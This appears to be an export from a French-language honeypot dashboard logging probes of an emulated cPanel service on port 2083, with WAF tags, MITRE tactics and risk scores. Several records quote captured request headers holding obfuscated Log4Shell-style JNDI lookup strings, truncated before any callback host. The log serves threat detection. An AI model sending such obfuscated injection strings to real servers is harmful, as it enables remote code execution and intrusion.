"user_agent": "${${m5fs:6siu:jnm:-j}${tmc:2p6u:8f:-n}${mb:4b:9jl:-d}${v1gj:w4h:on:-i}${e:8lv:w:-:}${9n:p8:7b:-l}${1j:-d}${4:gt:-a}${n8:2:zs:-p}${dmez:y8r:-:}${cies:hbsp:o:-\/}${dg0h:9:w:-\/}${f9:9:j3:-U}${mx:8wz:bij6:-A}${5:aci:-l}${itnp:cj1:ope:-0}${f:n:-c}${mwn:w:d:--}$\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${m5fs:6siu:jnm:-j}${tmc:2p6u:8f:-n}${mb:4b:9jl:-d}${v1gj:w4h:on:-i}${e:8lv:w:-:}${9n:p8:7b:-l}${1j:-d}${4:gt:-a}${n8:2:zs:-p}${dmez:y8r:-:}${cies:hbsp:o:-\/}$",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${m5fs:6siu:jnm:-j}${tmc:2p6u:",
"evidence": {
"method": "POST",
"path": "\/",
"user_agent": "${${m5fs:6siu:jnm:-j}${tmc:2p6u:8f:-n}${mb:4b:9jl:-d}${v1gj:w4h:on:-i}${e:8lv:w:-:}${9n:p8:7b:-l}${1j:-d}${4:gt:-a}${n8:2:zs:-p}${dmez:y8r:-:}${cies:hbsp:o:-\/}${dg0h:9:w:-\/}${f9:9:j3:-U}${mx:8wz:bij6:-A}${5:aci:-l}${itnp:cj1:ope:-0}${f:n:-c}${mwn:w:d:--}$\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${m5fs:6siu:jnm:-j}${tmc:2p6u:8f:-n}${mb:4b:9jl:-d}${v1gj:w4h:on:-i}${e:8lv:w:-:}${9n:p8:7b:-l}${1j:-d}${4:gt:-a}${n8:2:zs:-p}${dmez:y8r:-:}${cies:hbsp:o:-\/}$",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${m5fs:6siu:jnm:-j}${tmc:2p6u:",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "5dc577c78ed3a08c840a9921d8fbbb941fa28eaa",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${m5fs:6siu:jnm:-j}${tmc:2p6u:8f:-n}${mb:4b:9jl:-d}${v1gj:w4h:on:-i}${e:8lv:w:-:}${9n:p8:7b:-l}${1j:-d}${4:gt:-a}${n8\u2026",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${m5fs:6siu:jnm:-j}${tmc:2p6u:",
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe)",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${m5fs:6siu:jnm:-j}${tmc:2p6u:8f:-n}${mb:4b:9jl:-d}${v1gj:w4h:on:-i}${e:8lv:w:-:}${9n:p8:7b:-l}${1j:-d}${4:gt:-a}${n8\u2026",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe)",
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${m5fs:6siu:jnm:-j}${tmc:2p6u:",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:15:37 UTC
TCP
2083 · HTTP
Sonde port 2083/TCP
port 2083 tcp · via HTTP:2083 · (sonde / probe)
Élevée
Moyen · 57
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA ${${7kf:p:-j}${s5e:f2:m1:-n}${kn:-d}${gxz:vc8:lq:-i}${1:2:ef:-:…
Émulateur
HTTP
WAF
23
Recommandation
Investiguer
Tags
950326:rce-0
950382:rce-14
950470:nosqli-3
950734:sap-sapcontrol-path
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
2083
Chemin / cible
/
Preuve honeypot — Sonde port 2083/TCP
Connexion détectée sur le port 2083 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_2083_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 57
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET / HTTP/1.1
User-Agent
${${7kf:p:-j}${s5e:f2:m1:-n}${kn:-d}${gxz:vc8:lq:-i}${1:2:ef:-:}${2:hbd4:-l}${c:0u:7i5d:-d}${pb3:1b9a:-a}${vy5u:-p}${c:4:-:}${mg:0k:-/}${wvc:rc:-/}${db4f:js2:-U}${j1:o:2t:-A}${c9:la4:u:-l}${t9m:k:uat…
Règles WAF
rce-0
rce-14
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:2083
Accept: */*
User-Agent: ${${7kf:p:-j}${s5e:f2:m1:-n}${kn:
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:2083 Accept: */* User-Agent: ${${7kf:p:-j}${s5e:f2:m1:-n}${kn:-d}${gxz:vc8:lq:-i}${1:2:ef:-:}${2:hbd4:-l}${c:0u:7i5d:-d}${pb3:1b9a:-a}${vy5u:-p}${c:4:-:}${mg:0k:-/}${wvc:rc:-/}${db4f:js2:-U}
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "4533139f60dcf7fdd895a39956556118f8e892a5",
"http_host_hash": "67eaca241c6dfd51f5189023397b7c1347b672ff",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "e37149d1d3839d09720342d6397d4cb3038e3c0e",
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.747418167187808,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 2.7,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 57,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "65ff735d04e94f46f7c6149c0eb25b5346a1bc20",
"event_fingerprint": "fd4a51dbd7a851ae81324cfd190fb8c00f059275",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 57,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "749bb81ce2ee6233eb783e472a8a4e33",
"payload_hash": "a57215f5afce14fd7ca95c5c25abcdc3",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 57
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${7kf:p:-j}${s5e:f2:m1:-n}${kn:",
"method": "GET",
"path": "\/",
"user_agent": "${${7kf:p:-j}${s5e:f2:m1:-n}${kn:-d}${gxz:vc8:lq:-i}${1:2:ef:-:}${2:hbd4:-l}${c:0u:7i5d:-d}${pb3:1b9a:-a}${vy5u:-p}${c:4:-:}${mg:0k:-\/}${wvc:rc:-\/}${db4f:js2:-U}${j1:o:2t:-A}${c9:la4:u:-l}${t9m:k:uat:-0}${28:7:-c}${u6g:--}${${7:u1:a:-s}${bg:tsi7:-y}${4:n:\u2026",
"waf_tags": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${7kf:p:-j}${s5e:f2:m1:-n}${kn:-d}${gxz:vc8:lq:-i}${1:2:ef:-:}${2:hbd4:-l}${c:0u:7i5d:-d}${pb3:1b9a:-a}${vy5u:-p}${c:4:-:}${mg:0k:-\/}${wvc:rc:-\/}${db4f:js2:-U}",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${7kf:p:-j}${s5e:f2:m1:-n}${kn:",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "${${7kf:p:-j}${s5e:f2:m1:-n}${kn:-d}${gxz:vc8:lq:-i}${1:2:ef:-:}${2:hbd4:-l}${c:0u:7i5d:-d}${pb3:1b9a:-a}${vy5u:-p}${c:4:-:}${mg:0k:-\/}${wvc:rc:-\/}${db4f:js2:-U}${j1:o:2t:-A}${c9:la4:u:-l}${t9m:k:uat:-0}${28:7:-c}${u6g:--}${${7:u1:a:-s}${bg:tsi7:-y}${4:n:\u2026",
"waf_tags": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${7kf:p:-j}${s5e:f2:m1:-n}${kn:-d}${gxz:vc8:lq:-i}${1:2:ef:-:}${2:hbd4:-l}${c:0u:7i5d:-d}${pb3:1b9a:-a}${vy5u:-p}${c:4:-:}${mg:0k:-\/}${wvc:rc:-\/}${db4f:js2:-U}",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${7kf:p:-j}${s5e:f2:m1:-n}${kn:",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1421974f4469b2e07cffed0ed0a9880d3ac428d7",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${7kf:p:-j}${s5e:f2:m1:-n}${kn:-d}${gxz:vc8:lq:-i}${1:2:ef:-:}${2:hbd4:-l}${c:0u:7i5d:-d}${pb3:1b9a:-a}${vy5u:-p}${c:\u2026",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${7kf:p:-j}${s5e:f2:m1:-n}${kn:",
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe)",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 57\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 57,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 57,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${7kf:p:-j}${s5e:f2:m1:-n}${kn:-d}${gxz:vc8:lq:-i}${1:2:ef:-:}${2:hbd4:-l}${c:0u:7i5d:-d}${pb3:1b9a:-a}${vy5u:-p}${c:\u2026",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: ${${7kf:p:-j}${s5e:f2:m1:-n}${kn:",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 19,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:15:37 UTC
TCP
2083 · HTTP
Sonde port 2083/TCP
port 2083 tcp · via HTTP:2083 · (sonde / probe)
Élevée
Moyen · 46
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
http_auth_header_token
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
2083
Chemin / cible
/
Preuve honeypot — Sonde port 2083/TCP
Connexion détectée sur le port 2083 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_2083_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 46
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:2083
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:2083 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 X-Forwarded-For: ${${d:hdba:-j}${9201:ua8j
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 6,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "67eaca241c6dfd51f5189023397b7c1347b672ff",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.8982231530276445,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.4,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 46,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "1d392e71a6e2a9b9e51b6b1b081276dd413a2f7a",
"event_fingerprint": "fd4a51dbd7a851ae81324cfd190fb8c00f059275",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162",
"pat-0324"
],
"matched_pattern_names": [
"CRS 933135",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0162",
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 46,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "2a1f3cbc07cdeb11fc3a082cdef4c028",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 46
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${d:hdba:-j}${9201:ua8j",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${d:hdba:-j}${9201:ua8j",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "c868ec40fa1d2d15410786b32afb10c7009e21cf",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
